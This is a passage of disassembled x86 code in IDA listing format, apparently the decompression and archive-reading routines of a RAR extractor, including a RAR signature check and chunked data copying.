		mov	[ebp+70h+var_35], 7
		mov	[ebp+70h+var_34], 8
		mov	[ebp+70h+var_33], 0Ah
		mov	[ebp+70h+var_32], 0Ch
		mov	[ebp+70h+var_31], 0Eh
		mov	[ebp+70h+var_30], 10h
		mov	[ebp+70h+var_2F], 14h
		mov	[ebp+70h+var_2E], 18h
		mov	[ebp+70h+var_2D], 1Ch
		mov	[ebp+70h+var_2C], 20h
		mov	[ebp+70h+var_2B], 28h
		mov	[ebp+70h+var_2A], 30h
		mov	[ebp+70h+var_29], 38h
		mov	[ebp+70h+var_28], 40h
		mov	[ebp+70h+var_27], 50h
		mov	[ebp+70h+var_26], 60h
		mov	[ebp+70h+var_25], 70h
		mov	[ebp+70h+var_24], 80h
		mov	[ebp+70h+var_23], 0A0h
		mov	[ebp+70h+var_22], 0C0h
		mov	[ebp+70h+var_21], 0E0h
		mov	[ebp+70h+var_58], bl
		mov	[ebp+70h+var_57], bl
		mov	[ebp+70h+var_56], bl
		mov	[ebp+70h+var_55], bl
		mov	[ebp+70h+var_54], bl
		mov	[ebp+70h+var_53], bl
		mov	[ebp+70h+var_52], bl
		mov	[ebp+70h+var_51], bl
		mov	[ebp+70h+var_50], 1
		mov	[ebp+70h+var_4F], 1
		mov	[ebp+70h+var_4E], 1
		mov	[ebp+70h+var_4D], 1
		mov	[ebp+70h+var_4C], 2
		mov	[ebp+70h+var_4B], 2
		mov	[ebp+70h+var_4A], 2
		mov	[ebp+70h+var_49], 2
		mov	[ebp+70h+var_48], 3
		mov	[ebp+70h+var_47], 3
		mov	[ebp+70h+var_46], 3
		mov	[ebp+70h+var_45], 3
		mov	[ebp+70h+var_44], 4
		mov	[ebp+70h+var_43], 4
		mov	[ebp+70h+var_42], 4
		mov	[ebp+70h+var_41], 4
		mov	[ebp+70h+var_40], 5
		mov	[ebp+70h+var_3F], 5
		mov	[ebp+70h+var_3E], 5
		mov	[ebp+70h+var_3D], 5
		mov	[ebp+70h+var_188], ebx
		mov	[ebp+70h+var_184], eax
		mov	[ebp+70h+var_180], 2
		mov	[ebp+70h+var_17C], 3
		mov	[ebp+70h+var_178], 4
		mov	[ebp+70h+var_174], 6
		mov	[ebp+70h+var_170], 8
		mov	[ebp+70h+var_16C], 0Ch
		mov	[ebp+70h+var_168], 10h
		mov	[ebp+70h+var_164], 18h
		mov	[ebp+70h+var_160], 20h
		mov	[ebp+70h+var_15C], 30h
		mov	[ebp+70h+var_158], 40h
		mov	[ebp+70h+var_154], 60h
		mov	[ebp+70h+var_150], 80h
		mov	[ebp+70h+var_14C], 0C0h
		mov	[ebp+70h+var_148], 100h
		mov	[ebp+70h+var_144], 180h
		mov	[ebp+70h+var_140], 200h
		mov	[ebp+70h+var_13C], 300h
		mov	[ebp+70h+var_138], 400h
		mov	[ebp+70h+var_134], 600h
		mov	[ebp+70h+var_130], 800h
		mov	[ebp+70h+var_12C], 0C00h
		mov	[ebp+70h+var_128], 1000h
		mov	[ebp+70h+var_124], 1800h
		mov	[ebp+70h+var_120], 2000h
		mov	[ebp+70h+var_11C], 3000h
		mov	[ebp+70h+var_118], 4000h
		mov	[ebp+70h+var_114], 6000h
		mov	[ebp+70h+var_110], 8000h
		mov	[ebp+70h+var_10C], 0C000h
		mov	[ebp+70h+var_108], 10000h
		mov	[ebp+70h+var_104], 18000h
		mov	[ebp+70h+var_100], 20000h
		mov	[ebp+70h+var_FC], 30000h
		mov	[ebp+70h+var_F8], 40000h
		mov	[ebp+70h+var_F4], 50000h
		mov	[ebp+70h+var_F0], 60000h
		mov	[ebp+70h+var_EC], 70000h
		mov	[ebp+70h+var_E8], 80000h
		mov	[ebp+70h+var_E4], 90000h
		mov	[ebp+70h+var_E0], 0A0000h
		mov	[ebp+70h+var_DC], 0B0000h
		mov	[ebp+70h+var_D8], 0C0000h
		mov	[ebp+70h+var_D4], 0D0000h
		mov	[ebp+70h+var_D0], 0E0000h
		mov	[ebp+70h+var_CC], 0F0000h
		mov	[ebp+70h+var_C8], 100000h
		mov	[ebp+70h+var_C4], 140000h
		mov	[ebp+70h+var_C0], 180000h
		mov	[ebp+70h+var_BC], 1C0000h
		mov	[ebp+70h+var_B8], 200000h
		mov	[ebp+70h+var_B4], 240000h
		mov	[ebp+70h+var_B0], 280000h
		mov	[ebp+70h+var_AC], 2C0000h
		mov	[ebp+70h+var_A8], 300000h
		mov	[ebp+70h+var_A4], 340000h
		mov	[ebp+70h+var_A0], 380000h
		mov	[ebp+70h+var_9C], 3C0000h
		mov	[ebp+70h+var_94], bl
		mov	[ebp+70h+var_93], bl
		mov	[ebp+70h+var_92], bl
		mov	[ebp+70h+var_91], bl
		mov	[ebp+70h+var_90], al
		mov	[ebp+70h+var_8F], al
		mov	[ebp+70h+var_8E], 2
		mov	[ebp+70h+var_8D], 2
		mov	[ebp+70h+var_8C], 3
		mov	[ebp+70h+var_8B], 3
		mov	[ebp+70h+var_8A], 4
		mov	[ebp+70h+var_89], 4
		mov	[ebp+70h+var_88], 5
		mov	[ebp+70h+var_87], 5
		mov	[ebp+70h+var_86], 6
		mov	[ebp+70h+var_85], 6
		mov	[ebp+70h+var_84], 7
		mov	[ebp+70h+var_83], 7
		mov	[ebp+70h+var_82], 8
		mov	[ebp+70h+var_81], 8
		mov	[ebp+70h+var_80], 9
		mov	[ebp+70h+var_7F], 9
		mov	[ebp+70h+var_7E], 0Ah
		mov	[ebp+70h+var_7D], 0Ah
		mov	[ebp+70h+var_7C], 0Bh
		mov	[ebp+70h+var_7B], 0Bh
		mov	[ebp+70h+var_7A], 0Ch
		mov	[ebp+70h+var_79], 0Ch
		mov	[ebp+70h+var_78], 0Dh
		mov	[ebp+70h+var_77], 0Dh
		mov	[ebp+70h+var_76], 0Eh
		mov	[ebp+70h+var_75], 0Eh
		mov	[ebp+70h+var_74], 0Fh
		mov	[ebp+70h+var_73], 0Fh
		mov	[ebp+70h+var_72], 10h
		mov	[ebp+70h+var_71], 10h
		mov	[ebp+70h+var_70], 10h
		mov	[ebp+70h+var_6F], 10h
		mov	[ebp+70h+var_6E], 10h
		mov	[ebp+70h+var_6D], 10h
		push	edi
		push	[ebp+70h+arg_4]
		mov	[ebp+70h+var_6C], 10h
		mov	[ebp+70h+var_6B], 10h
		mov	[ebp+70h+var_6A], 10h
		mov	[ebp+70h+var_69], 10h
		mov	[ebp+70h+var_68], 10h
		mov	[ebp+70h+var_67], 10h
		mov	[ebp+70h+var_66], 10h
		mov	[ebp+70h+var_65], 10h
		mov	[ebp+70h+var_64], 12h
		mov	[ebp+70h+var_63], 12h
		mov	[ebp+70h+var_62], 12h
		mov	[ebp+70h+var_61], 12h
		mov	[ebp+70h+var_60], 12h
		mov	[ebp+70h+var_5F], 12h
		mov	[ebp+70h+var_5E], 12h
		mov	[ebp+70h+var_5D], 12h
		mov	[ebp+70h+var_5C], 12h
		mov	[ebp+70h+var_5B], 12h
		mov	[ebp+70h+var_5A], 12h
		mov	[ebp+70h+var_59], 12h
		mov	[ebp+70h+var_18], bl
		mov	[ebp+70h+var_17], 4
		mov	[ebp+70h+var_16], 8
		mov	[ebp+70h+var_15], 10h
		mov	[ebp+70h+var_14], 20h
		mov	[ebp+70h+var_13], 40h
		mov	[ebp+70h+var_12], 80h
		mov	[ebp+70h+var_11], 0C0h
		mov	[ebp+70h+var_20], 2
		mov	[ebp+70h+var_1F], 2
		mov	[ebp+70h+var_1E], 3
		mov	[ebp+70h+var_1D], 4
		mov	[ebp+70h+var_1C], 5
		mov	[ebp+70h+var_1B], 6
		mov	[ebp+70h+var_1A], 6
		mov	[ebp+70h+var_19], 6
		mov	[ebp+70h+var_C], eax
		call	sub_9B143F
		push	edi
		push	[ebp+70h+arg_0]
		call	sub_9B04E9
		add	esp, 10h
		test	eax, eax
		jz	short loc_9B19A1
		cmp	[ebp+70h+arg_4], ebx
		jz	short loc_9B1992
		cmp	[edi+408014h], ebx
		jnz	short loc_9B19A8


loc_9B1992:				; CODE XREF: sub_9B1547+441j
		push	[ebp+70h+arg_0]
		mov	eax, edi
		call	sub_9B0AAE
		test	eax, eax
		pop	ecx
		jnz	short loc_9B19A8


loc_9B19A1:				; CODE XREF: sub_9B1547+43Cj
		xor	eax, eax
		jmp	loc_9B1C83
; ---------------------------------------------------------------------------


loc_9B19A8:				; CODE XREF: sub_9B1547+449j
					; sub_9B1547+458j
		push	esi


loc_9B19A9:				; CODE XREF: sub_9B1547+5A1j
					; sub_9B1547+5DEj ...
		mov	eax, [edi+408004h]
		mov	esi, 3FFFFFh
		and	[edi+40800Ch], esi
		cmp	eax, [edi+40801Ch]
		jle	short loc_9B19D5
		push	edi
		push	[ebp+70h+arg_0]
		call	sub_9B04E9
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_9B1DCB


loc_9B19D5:				; CODE XREF: sub_9B1547+479j
		mov	eax, [edi+408010h]
		mov	ecx, [edi+40800Ch]
		mov	edx, eax
		sub	edx, ecx
		and	edx, esi
		cmp	edx, 104h
		jnb	short loc_9B19FA
		cmp	eax, ecx
		jz	short loc_9B19FA
		mov	eax, edi
		call	sub_9B06DE


loc_9B19FA:				; CODE XREF: sub_9B1547+4A6j
					; sub_9B1547+4AAj
		cmp	dword ptr [edi+408020h], 1
		jnz	loc_9B1B2A
		push	edi
		push	[ebp+70h+arg_0]
		lea	esi, [edi+408B10h]
		push	esi
		call	sub_9B37F8
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+70h+var_10], eax
		jz	loc_9B1DB8
		cmp	eax, [edi+40D79Ch]
		jnz	loc_9B1B12
		push	edi
		push	[ebp+70h+arg_0]
		push	esi
		call	sub_9B37F8
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_9B1DCB
		cmp	eax, ebx
		jnz	short loc_9B1A5B
		push	[ebp+70h+arg_0]
		mov	eax, edi
		call	sub_9B0AAE
		jmp	loc_9B1C99
; ---------------------------------------------------------------------------


loc_9B1A5B:				; CODE XREF: sub_9B1547+503j
		cmp	eax, 2
		jz	loc_9B1C78
		cmp	eax, 3
		jnz	short loc_9B1A76
		push	[ebp+70h+arg_0]
		call	sub_9B1364
		jmp	loc_9B1C99
; ---------------------------------------------------------------------------


loc_9B1A76:				; CODE XREF: sub_9B1547+520j
		cmp	eax, 4
		jnz	short loc_9B1AED
		mov	[ebp+70h+var_8], ebx
		mov	[ebp+70h+var_10], ebx
		mov	[ebp+70h+var_4], ebx


loc_9B1A84:				; CODE XREF: sub_9B1547+581j
		cmp	[ebp+70h+var_10], ebx
		jnz	loc_9B1DCB
		push	edi
		push	[ebp+70h+arg_0]
		push	esi
		call	sub_9B37F8
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_9B1AA8
		mov	[ebp+70h+var_10], 1
		jmp	short loc_9B1AC1
; ---------------------------------------------------------------------------


loc_9B1AA8:				; CODE XREF: sub_9B1547+556j
		cmp	[ebp+70h+var_4], 3
		movzx	eax, al
		jnz	short loc_9B1AB6
		mov	[ebp+70h+var_98], eax
		jmp	short loc_9B1AC1
; ---------------------------------------------------------------------------


loc_9B1AB6:				; CODE XREF: sub_9B1547+568j
		mov	ecx, [ebp+70h+var_8]
		shl	ecx, 8
		add	ecx, eax
		mov	[ebp+70h+var_8], ecx


loc_9B1AC1:				; CODE XREF: sub_9B1547+55Fj
					; sub_9B1547+56Dj
		inc	[ebp+70h+var_4]
		cmp	[ebp+70h+var_4], 4
		jl	short loc_9B1A84
		cmp	[ebp+70h+var_10], ebx
		jnz	loc_9B1DCB
		mov	eax, [ebp+70h+var_8]
		mov	ecx, [ebp+70h+var_98]
		add	eax, 2
		add	ecx, 20h


loc_9B1ADF:				; CODE XREF: sub_9B1547+806j
		push	eax


loc_9B1AE0:				; CODE XREF: sub_9B1547+5C6j
					; sub_9B1547+77Bj
		mov	eax, edi
		call	sub_9B03FD


loc_9B1AE7:				; CODE XREF: sub_9B1547+86Cj
		pop	ecx
		jmp	loc_9B19A9
; ---------------------------------------------------------------------------


loc_9B1AED:				; CODE XREF: sub_9B1547+532j
		cmp	eax, 5
		jnz	short loc_9B1B0F
		push	edi
		push	[ebp+70h+arg_0]
		push	esi
		call	sub_9B37F8
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_9B1DCB
		push	1
		lea	ecx, [eax+4]
		jmp	short loc_9B1AE0
; ---------------------------------------------------------------------------


loc_9B1B0F:				; CODE XREF: sub_9B1547+5A9j
		mov	eax, [ebp+70h+var_10]


loc_9B1B12:				; CODE XREF: sub_9B1547+4E5j
					; sub_9B1547+5F9j
		mov	ecx, [edi+40800Ch]
		mov	[ecx+edi+8004h], al
		inc	dword ptr [edi+40800Ch]
		jmp	loc_9B19A9
; ---------------------------------------------------------------------------


loc_9B1B2A:				; CODE XREF: sub_9B1547+4BAj
		lea	eax, [edi+4081C0h]
		push	eax
		push	edi
		call	sub_9B09FF
		mov	edx, 100h
		cmp	eax, edx
		pop	ecx
		pop	ecx
		jl	short loc_9B1B12
		mov	ecx, 10Fh
		cmp	eax, ecx
		jl	loc_9B1C61
		sub	eax, ecx
		movzx	esi, [ebp+eax+70h+var_3C]
		movzx	eax, [ebp+eax+70h+var_58]
		add	esi, 3
		cmp	eax, ebx
		mov	[ebp+70h+var_8], esi
		mov	[ebp+70h+var_4], eax
		jbe	short loc_9B1B87
		push	edi
		call	sub_9B04B6
		push	10h
		pop	ecx
		sub	ecx, [ebp+70h+var_4]
		push	[ebp+70h+var_4]
		shr	eax, cl
		push	edi
		add	esi, eax
		mov	[ebp+70h+var_8], esi
		call	sub_9B0493
		add	esp, 0Ch


loc_9B1B87:				; CODE XREF: sub_9B1547+61Fj
		lea	eax, [edi+4086F0h]
		push	eax
		push	edi
		call	sub_9B09FF
		mov	esi, [ebp+eax*4+70h+var_188]
		pop	ecx
		pop	ecx
		movzx	ecx, [ebp+eax+70h+var_94]
		inc	esi
		cmp	ecx, ebx
		mov	[ebp+70h+var_4], ecx
		jbe	loc_9B1C3B
		cmp	eax, 9
		jle	short loc_9B1C1F
		cmp	ecx, 4
		jbe	short loc_9B1BDC
		push	edi
		call	sub_9B04B6
		mov	edx, eax
		mov	eax, [ebp+70h+var_4]
		push	14h
		pop	ecx
		sub	ecx, eax
		shr	edx, cl
		add	eax, 0FFFFFFFCh
		push	eax
		push	edi
		shl	edx, 4
		add	esi, edx
		call	sub_9B0493
		add	esp, 0Ch


loc_9B1BDC:				; CODE XREF: sub_9B1547+66Fj
		mov	eax, [edi+408028h]
		cmp	eax, ebx
		jle	short loc_9B1BEF
		dec	eax
		mov	[edi+408028h], eax
		jmp	short loc_9B1C0D
; ---------------------------------------------------------------------------


loc_9B1BEF:				; CODE XREF: sub_9B1547+69Dj
		lea	eax, [edi+408864h]
		push	eax
		push	edi
		call	sub_9B09FF
		cmp	eax, 10h
		pop	ecx
		pop	ecx
		jnz	short loc_9B1C15
		mov	dword ptr [edi+408028h], 0Fh


loc_9B1C0D:				; CODE XREF: sub_9B1547+6A6j
		add	esi, [edi+408024h]
		jmp	short loc_9B1C3B
; ---------------------------------------------------------------------------


loc_9B1C15:				; CODE XREF: sub_9B1547+6BAj
		add	esi, eax
		mov	[edi+408024h], eax
		jmp	short loc_9B1C3B
; ---------------------------------------------------------------------------


loc_9B1C1F:				; CODE XREF: sub_9B1547+66Aj
		push	edi
		call	sub_9B04B6
		push	10h
		pop	ecx
		sub	ecx, [ebp+70h+var_4]
		push	[ebp+70h+var_4]
		shr	eax, cl
		push	edi
		add	esi, eax
		call	sub_9B0493
		add	esp, 0Ch


loc_9B1C3B:				; CODE XREF: sub_9B1547+661j
					; sub_9B1547+6CCj ...
		cmp	esi, 2000h
		jb	short loc_9B1C51
		inc	[ebp+70h+var_8]
		cmp	esi, 40000h
		jb	short loc_9B1C51
		inc	[ebp+70h+var_8]


loc_9B1C51:				; CODE XREF: sub_9B1547+6FAj
					; sub_9B1547+705j
		push	esi
		mov	eax, edi
		call	sub_9B03D3
		mov	ecx, [ebp+70h+var_8]
		jmp	loc_9B1D9E
; ---------------------------------------------------------------------------


loc_9B1C61:				; CODE XREF: sub_9B1547+602j
		cmp	eax, edx
		jnz	short loc_9B1C8A
		push	[ebp+70h+arg_0]
		mov	esi, edi
		call	sub_9B0D64
		test	eax, eax
		pop	ecx
		jnz	loc_9B19A9


loc_9B1C78:				; CODE XREF: sub_9B1547+517j
		mov	eax, edi
		call	sub_9B06DE


loc_9B1C7F:				; CODE XREF: sub_9B1547+887j
		mov	eax, [ebp+70h+var_C]
		pop	esi


loc_9B1C83:				; CODE XREF: sub_9B1547+45Cj
		pop	edi
		pop	ebx
		add	ebp, 70h
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B1C8A:				; CODE XREF: sub_9B1547+71Cj
		cmp	eax, 101h
		jnz	short loc_9B1CA7
		push	[ebp+70h+arg_0]
		call	sub_9B128A


loc_9B1C99:				; CODE XREF: sub_9B1547+50Fj
					; sub_9B1547+52Aj
		test	eax, eax
		pop	ecx
		jnz	loc_9B19A9
		jmp	loc_9B1DCB
; ---------------------------------------------------------------------------


loc_9B1CA7:				; CODE XREF: sub_9B1547+748j
		cmp	eax, 102h
		jnz	short loc_9B1CC7
		mov	ecx, [edi+408B0Ch]
		cmp	ecx, ebx
		jz	loc_9B19A9
		push	dword ptr [edi+408B08h]
		jmp	loc_9B1AE0
; ---------------------------------------------------------------------------


loc_9B1CC7:				; CODE XREF: sub_9B1547+765j
		cmp	eax, 107h
		jge	loc_9B1D52
		add	eax, 0FFFFFEFDh
		cmp	eax, ebx
		lea	ecx, [edi+eax*4+408AF4h]
		mov	edx, [ecx]
		mov	[ebp+70h+var_8], edx
		jle	short loc_9B1CF8
		mov	[ebp+70h+var_10], eax


loc_9B1CEA:				; CODE XREF: sub_9B1547+7AFj
		dec	[ebp+70h+var_10]
		lea	esi, [ecx-4]
		mov	eax, [esi]
		mov	[ecx], eax
		mov	ecx, esi
		jnz	short loc_9B1CEA


loc_9B1CF8:				; CODE XREF: sub_9B1547+79Ej
		lea	eax, [edi+40892Ch]
		push	eax
		push	edi
		mov	[edi+408AF4h], edx
		call	sub_9B09FF
		movzx	esi, [ebp+eax+70h+var_3C]
		movzx	eax, [ebp+eax+70h+var_58]
		inc	esi
		pop	ecx
		inc	esi
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+70h+var_4], eax
		jbe	short loc_9B1D3C
		push	edi
		call	sub_9B04B6
		push	10h
		pop	ecx
		sub	ecx, [ebp+70h+var_4]
		push	[ebp+70h+var_4]
		shr	eax, cl
		push	edi
		add	esi, eax
		call	sub_9B0493
		add	esp, 0Ch


loc_9B1D3C:				; CODE XREF: sub_9B1547+7D7j
		mov	eax, [ebp+70h+var_8]
		mov	[edi+408B08h], eax
		mov	[edi+408B0Ch], esi
		mov	ecx, esi
		jmp	loc_9B1ADF
; ---------------------------------------------------------------------------


loc_9B1D52:				; CODE XREF: sub_9B1547+785j
		cmp	eax, 110h
		jge	loc_9B19A9
		movzx	esi, byte ptr [ebp+eax+70h+var_120+1]
		sub	eax, 107h
		movzx	eax, [ebp+eax+70h+var_20]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+70h+var_4], eax
		jbe	short loc_9B1D93
		push	edi
		call	sub_9B04B6
		push	10h
		pop	ecx
		sub	ecx, [ebp+70h+var_4]
		push	[ebp+70h+var_4]
		shr	eax, cl
		push	edi
		add	esi, eax
		call	sub_9B0493
		add	esp, 0Ch


loc_9B1D93:				; CODE XREF: sub_9B1547+82Ej
		push	esi
		mov	eax, edi
		call	sub_9B03D3
		push	2
		pop	ecx


loc_9B1D9E:				; CODE XREF: sub_9B1547+715j
		push	esi
		mov	eax, edi
		mov	[edi+408B08h], esi
		mov	[edi+408B0Ch], ecx
		call	sub_9B03FD
		pop	ecx
		jmp	loc_9B1AE7
; ---------------------------------------------------------------------------


loc_9B1DB8:				; CODE XREF: sub_9B1547+4D9j
		lea	eax, [edi+408B10h]
		push	eax
		call	sub_9B36DE
		pop	ecx
		mov	[edi+408020h], ebx


loc_9B1DCB:				; CODE XREF: sub_9B1547+488j
					; sub_9B1547+4FBj ...
		mov	[ebp+70h+var_C], ebx
		jmp	loc_9B1C7F
sub_9B1547	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B1DD3	proc near		; CODE XREF: sub_9B221A+13Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		xor	eax, eax
		cmp	[esp+arg_4], 1Dh
		jnz	short locret_9B1DEF
		push	[esp+arg_8]
		mov	eax, [esp+4+arg_C]
		push	[esp+4+arg_0]
		call	sub_9B1547
		pop	ecx
		pop	ecx

locret_9B1DEF:				; CODE XREF: sub_9B1DD3+7j
		retn
sub_9B1DD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B1DF0	proc near		; CODE XREF: sub_9B1E8C+1Dp
					; sub_9B1E8C+85p ...

var_2		= byte ptr -2

		push	ecx
		sub	eax, 73h
		push	esi
		jz	short loc_9B1E47
		dec	eax
		jz	short loc_9B1DFE


loc_9B1DFA:				; CODE XREF: sub_9B1DF0+1Bj
					; sub_9B1DF0+64j ...
		xor	eax, eax
		jmp	short loc_9B1E3A
; ---------------------------------------------------------------------------


loc_9B1DFE:				; CODE XREF: sub_9B1DF0+8j
		push	34h		; Size
		call	malloc
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jz	short loc_9B1DFA
		push	20h		; Size
		push	esi		; Dst
		push	edi		; int
		call	sub_9B4FA3
		add	esp, 0Ch
		cmp	eax, 20h
		jnz	short loc_9B1E67
		test	byte ptr [esi+4], 1
		jz	short loc_9B1E3D
		push	8		; Size
		lea	eax, [esi+20h]
		push	eax		; Dst
		push	edi		; int
		call	sub_9B4FA3
		add	esp, 0Ch
		cmp	eax, 8


loc_9B1E36:				; CODE XREF: sub_9B1DF0+9Aj
		jnz	short loc_9B1E67


loc_9B1E38:				; CODE XREF: sub_9B1DF0+55j
					; sub_9B1DF0+85j
		mov	eax, esi


loc_9B1E3A:				; CODE XREF: sub_9B1DF0+Cj
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_9B1E3D:				; CODE XREF: sub_9B1DF0+32j
		and	dword ptr [esi+20h], 0
		and	dword ptr [esi+24h], 0
		jmp	short loc_9B1E38
; ---------------------------------------------------------------------------


loc_9B1E47:				; CODE XREF: sub_9B1DF0+5j
		push	0Dh		; Size
		call	malloc
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jz	short loc_9B1DFA
		push	0Dh		; Size
		push	esi		; Dst
		push	edi		; int
		call	sub_9B4FA3
		add	esp, 0Ch
		cmp	eax, 0Dh
		jz	short loc_9B1E71


loc_9B1E67:				; CODE XREF: sub_9B1DF0+2Cj
					; sub_9B1DF0:loc_9B1E36j
		push	esi		; Memory
		call	free
		pop	ecx
		jmp	short loc_9B1DFA
; ---------------------------------------------------------------------------


loc_9B1E71:				; CODE XREF: sub_9B1DF0+75j
		test	byte ptr [esi+4], 2
		jz	short loc_9B1E38
		push	1		; Size
		lea	eax, [esp+0Bh]
		push	eax		; Dst
		push	edi		; int
		call	sub_9B4FA3
		add	esp, 0Ch
		cmp	eax, 1
		jmp	short loc_9B1E36
sub_9B1DF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B1E8C	proc near		; CODE XREF: sub_9B215A+Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	1
		push	0
		push	edi
		call	sub_9B505B
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		push	74h
		pop	eax
		call	sub_9B1DF0
		mov	esi, eax
		test	esi, esi
		jz	short loc_9B1F1C
		mov	ebx, free


loc_9B1EBA:				; CODE XREF: sub_9B1E8C+8Ej
		movzx	eax, word ptr [esi+5]
		mov	ecx, [ebp+var_4]
		add	eax, ecx
		test	byte ptr [esi+4], 80h
		mov	[esi+2Ch], ecx
		mov	[esi+30h], eax
		jz	short loc_9B1ED7
		mov	edx, [esi+7]
		add	edx, eax
		mov	[esi+30h], edx


loc_9B1ED7:				; CODE XREF: sub_9B1E8C+41j
		mov	eax, [esi+30h]
		cmp	eax, ecx
		jle	short loc_9B1F23
		movzx	ecx, byte ptr [esi+2]
		cmp	ecx, [ebp+arg_4]
		jz	short loc_9B1F28
		mov	edi, [ebp+arg_0]
		push	0
		push	eax
		push	edi
		call	sub_9B505B
		add	esp, 0Ch
		cmp	eax, [esi+30h]
		jnz	short loc_9B1F1C
		push	esi		; Memory
		call	ebx ; free
		push	1
		push	0
		push	edi
		call	sub_9B505B
		add	esp, 10h
		mov	[ebp+var_4], eax
		push	74h
		pop	eax
		call	sub_9B1DF0
		mov	esi, eax
		test	esi, esi
		jnz	short loc_9B1EBA


loc_9B1F1C:				; CODE XREF: sub_9B1E8C+26j
					; sub_9B1E8C+6Dj ...
		xor	eax, eax


loc_9B1F1E:				; CODE XREF: sub_9B1E8C+DEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B1F23:				; CODE XREF: sub_9B1E8C+50j
					; sub_9B1E8C+AEj
		push	esi		; Memory
		call	ebx ; free
		jmp	short loc_9B1F5E
; ---------------------------------------------------------------------------


loc_9B1F28:				; CODE XREF: sub_9B1E8C+59j
		movzx	eax, word ptr [esi+1Ah]
		inc	eax
		push	eax		; Size
		call	malloc
		test	eax, eax
		pop	ecx
		mov	[esi+28h], eax
		jz	short loc_9B1F23
		movzx	ecx, word ptr [esi+1Ah]
		movzx	edi, word ptr [esi+1Ah]
		push	ecx		; Size
		push	eax		; Dst
		push	[ebp+arg_0]	; int
		call	sub_9B4FA3
		add	esp, 0Ch
		cmp	eax, edi
		jz	short loc_9B1F61
		push	dword ptr [esi+28h] ; Memory
		call	ebx ; free
		push	esi		; Memory
		call	ebx ; free
		pop	ecx


loc_9B1F5E:				; CODE XREF: sub_9B1E8C+9Aj
		pop	ecx
		jmp	short loc_9B1F1C
; ---------------------------------------------------------------------------


loc_9B1F61:				; CODE XREF: sub_9B1E8C+C7j
		mov	eax, [esi+28h]
		mov	byte ptr [edi+eax], 0
		mov	eax, esi
		jmp	short loc_9B1F1E
sub_9B1E8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B1F6C	proc near		; CODE XREF: sub_9B202D+18p

Buf1		= byte ptr -10h
Buf2		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	7		; Size
		lea	eax, [ebp+Buf1]
		push	eax		; Dst
		push	[ebp+arg_0]	; int
		mov	[ebp+Buf2], 52h
		mov	[ebp+var_7], 61h
		mov	[ebp+var_6], 72h
		mov	[ebp+var_5], 21h
		mov	[ebp+var_4], 1Ah
		mov	[ebp+var_3], 7
		mov	[ebp+var_2], 0
		call	sub_9B4FA3
		add	esp, 0Ch
		cmp	eax, 7
		jz	short loc_9B1FA8
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B1FA8:				; CODE XREF: sub_9B1F6C+36j
		push	7		; Size
		lea	eax, [ebp+Buf2]
		push	eax		; Buf2
		lea	eax, [ebp+Buf1]
		push	eax		; Buf1
		call	memcmp
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_9B1F6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B1FC1	proc near		; CODE XREF: sub_9B221A+CBp

Dst		= byte ptr -2000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	__alloca_probe
		push	ebx
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		push	esi
		push	edi
		jbe	short loc_9B2017


loc_9B1FD8:				; CODE XREF: sub_9B1FC1+54j
		mov	edi, 2000h
		cmp	ebx, edi
		ja	short loc_9B1FE3
		mov	edi, ebx


loc_9B1FE3:				; CODE XREF: sub_9B1FC1+1Ej
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		push	[ebp+arg_0]	; int
		call	sub_9B4FA3
		mov	esi, eax
		add	esp, 0Ch
		cmp	esi, edi
		jnz	short loc_9B201F
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	eax		; Src
		push	[ebp+arg_4]	; int
		call	sub_9B4FFF
		add	esp, 0Ch
		cmp	eax, esi
		jnz	short loc_9B2024
		sub	ebx, esi
		jnz	short loc_9B1FD8


loc_9B2017:				; CODE XREF: sub_9B1FC1+15j
		mov	eax, [ebp+arg_8]


loc_9B201A:				; CODE XREF: sub_9B1FC1+6Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B201F:				; CODE XREF: sub_9B1FC1+39j
		mov	eax, [ebp+arg_8]
		jmp	short loc_9B2029
; ---------------------------------------------------------------------------


loc_9B2024:				; CODE XREF: sub_9B1FC1+50j
		mov	eax, [ebp+arg_8]
		sub	eax, esi


loc_9B2029:				; CODE XREF: sub_9B1FC1+61j
		sub	eax, ebx
		jmp	short loc_9B201A
sub_9B1FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B202D(int,void *Memory)

sub_9B202D	proc near		; CODE XREF: sub_9B02F5+53p

